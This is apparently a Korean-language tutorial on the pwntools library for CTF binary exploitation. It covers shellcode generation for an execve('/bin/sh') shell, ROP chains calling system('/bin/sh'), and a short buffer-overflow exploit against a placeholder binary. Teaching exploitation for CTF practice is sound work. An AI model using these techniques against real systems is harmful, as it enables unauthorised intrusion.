본문으로 건너뛰기

Pwntools로 CTF 바이너리 익스플로잇하기

바이너리 익스플로잇은 CTF에서 가장 도전적이면서도 보람 있는 카테고리 중 하나다. 근본적인 취약점을 이해하는 것도 중요하지만, 올바른 도구를 갖추는 것이 문제 해결과 막힘의 차이를 만들 수 있다. 바로 pwntools — CTF 바이너리 익스플로잇의 사실상 표준이 된 Python 라이브러리다.

Pwntools란?

Pwntools는 Python으로 작성된 CTF 프레임워크이자 익스플로잇 개발 라이브러리다. 프로세스 상호작용, 셸코드 생성, ROP 체인 구축 등 일반적인 익스플로잇 개발 작업을 위한 깔끔하고 직관적인 API를 제공한다. 로컬 바이너리를 익스플로잇하든 원격 서비스를 공격하든, pwntools가 워크플로우를 간소화해 준다.

설치

시작은 간단하다:

pip install pwntools

최신 개발 버전을 원한다면:

git clone https://github.com/Gallopsled/pwntools
cd pwntools
pip install -e .

핵심 기능

프로세스 상호작용

가장 기본적인 사용 사례는 프로세스와 상호작용하는 것이다. Pwntools가 이를 매우 간단하게 만들어 준다:

from pwn import *

# 로컬 프로세스
p = process('./vulnerable_binary')

# 원격 연결
r = remote('ctf.example.com', 1337)

# 데이터 송수신
p.sendline(b'A' * 100)
data = p.recv(1024)
p.interactive() # 인터랙티브 모드로 전환

셸코드 생성

셸코드가 필요하다면? Pwntools가 해결해 준다:

from pwn import *

# execve("/bin/sh")용 셸코드 생성
shellcode = asm(shellcraft.sh())

# 아키텍처 특정 셸코드
context.arch = 'amd64'
shellcode_64 = asm(shellcraft.amd64.linux.sh())

ROP 체인 구축

Return-Oriented Programming은 현대 익스플로잇에 필수적이다. Pwntools에는 강력한 ROP 모듈이 포함되어 있다:

from pwn import *

elf = ELF('./binary')
rop = ROP(elf)

# 가젯 찾기 및 체인 구축
rop.call('system', [next(elf.search(b'/bin/sh'))])
payload = b'A' * 72 + rop.chain()

패킹과 언패킹

주소를 바이트로 변환하는 것은 익스플로잇에서 필수적이다:

from pwn import *

# 주소 패킹 (context.arch 반영)
address = p64(0xdeadbeef) # 64비트
address = p32(0xcafebabe) # 32비트

# 데이터 언패킹
value = u64(b'\xef\xbe\xad\xde\x00\x00\x00\x00')

실전 예시: 버퍼 오버플로우

클래식 버퍼 오버플로우에 대한 완전한 익스플로잇:

from pwn import *

# 타깃 설정
elf = ELF('./vuln')
p = process('./vuln')

# 오프셋 찾기
offset = 72

# 익스플로잇 구축
payload = flat(
b'A' * offset,
elf.symbols['win'] # win 함수로 점프
)

p.sendline(payload)
p.interactive()

고급 기능

사이클릭 패턴

사이클릭 패턴으로 오프셋 찾기가 쉬워진다:

from pwn import *

# 고유 패턴 생성
pattern = cyclic(200)

# 크래시 후 오프셋 찾기
offset = cyclic_find(0x61616171) # 'qaaa'

ELF 파싱

Pwntools는 ELF 바이너리를 파싱하고 유용한 정보를 추출한다:

from pwn import *

elf = ELF('./binary')
print(hex(elf.symbols['main']))
print(hex(elf.got['puts']))
print(hex(elf.plt['system']))

로깅

내장 로깅으로 디버깅이 쉬워진다:

from pwn import *

log.info("익스플로잇 시작...")
log.success("셸 획득!")
log.warning("ASLR 감지")
log.error("익스플로잇 실패")

베스트 프랙티스

초기에 컨텍스트 설정: 시작 시 타깃 아키텍처와 OS를 항상 설정하라:

context.arch = 'amd64'
context.os = 'linux'

템플릿 사용: 일반적인 시나리오를 위한 재사용 가능한 익스플로잇 템플릿을 만들어라.

디버그 모드: 모든 통신을 볼 수 있게 디버깅을 활성화하라:

context.log_level = 'debug'

로컬 먼저 테스트: 원격 타깃을 공격하기 전에 항상 로컬 바이너리에서 익스플로잇을 테스트하라.

마치며

Pwntools는 바이너리 익스플로잇을 지루한 바이트 조작에서 표현력 있는 Python 코드로 변환한다. 방대한 기능 세트가 보일러플레이트를 처리하여, 취약점 자체에 집중할 수 있게 해준다. CTF 입문자든 베테랑 플레이어든 pwntools 마스터링은 바이너리 익스플로잇 능력을 크게 향상시킬 것이다.

라이브러리는 활발하게 유지 관리되고, 잘 문서화되어 있으며, 강력한 커뮤니티가 있다. 간단한 버퍼 오버플로우부터 시작해서 ROP 체인, 포맷 스트링, 힙 익스플로잇으로 발전해 나가자. Pwntools로 무장하면 금방 문제를 pwn할 수 있을 것이다.

참고 자료: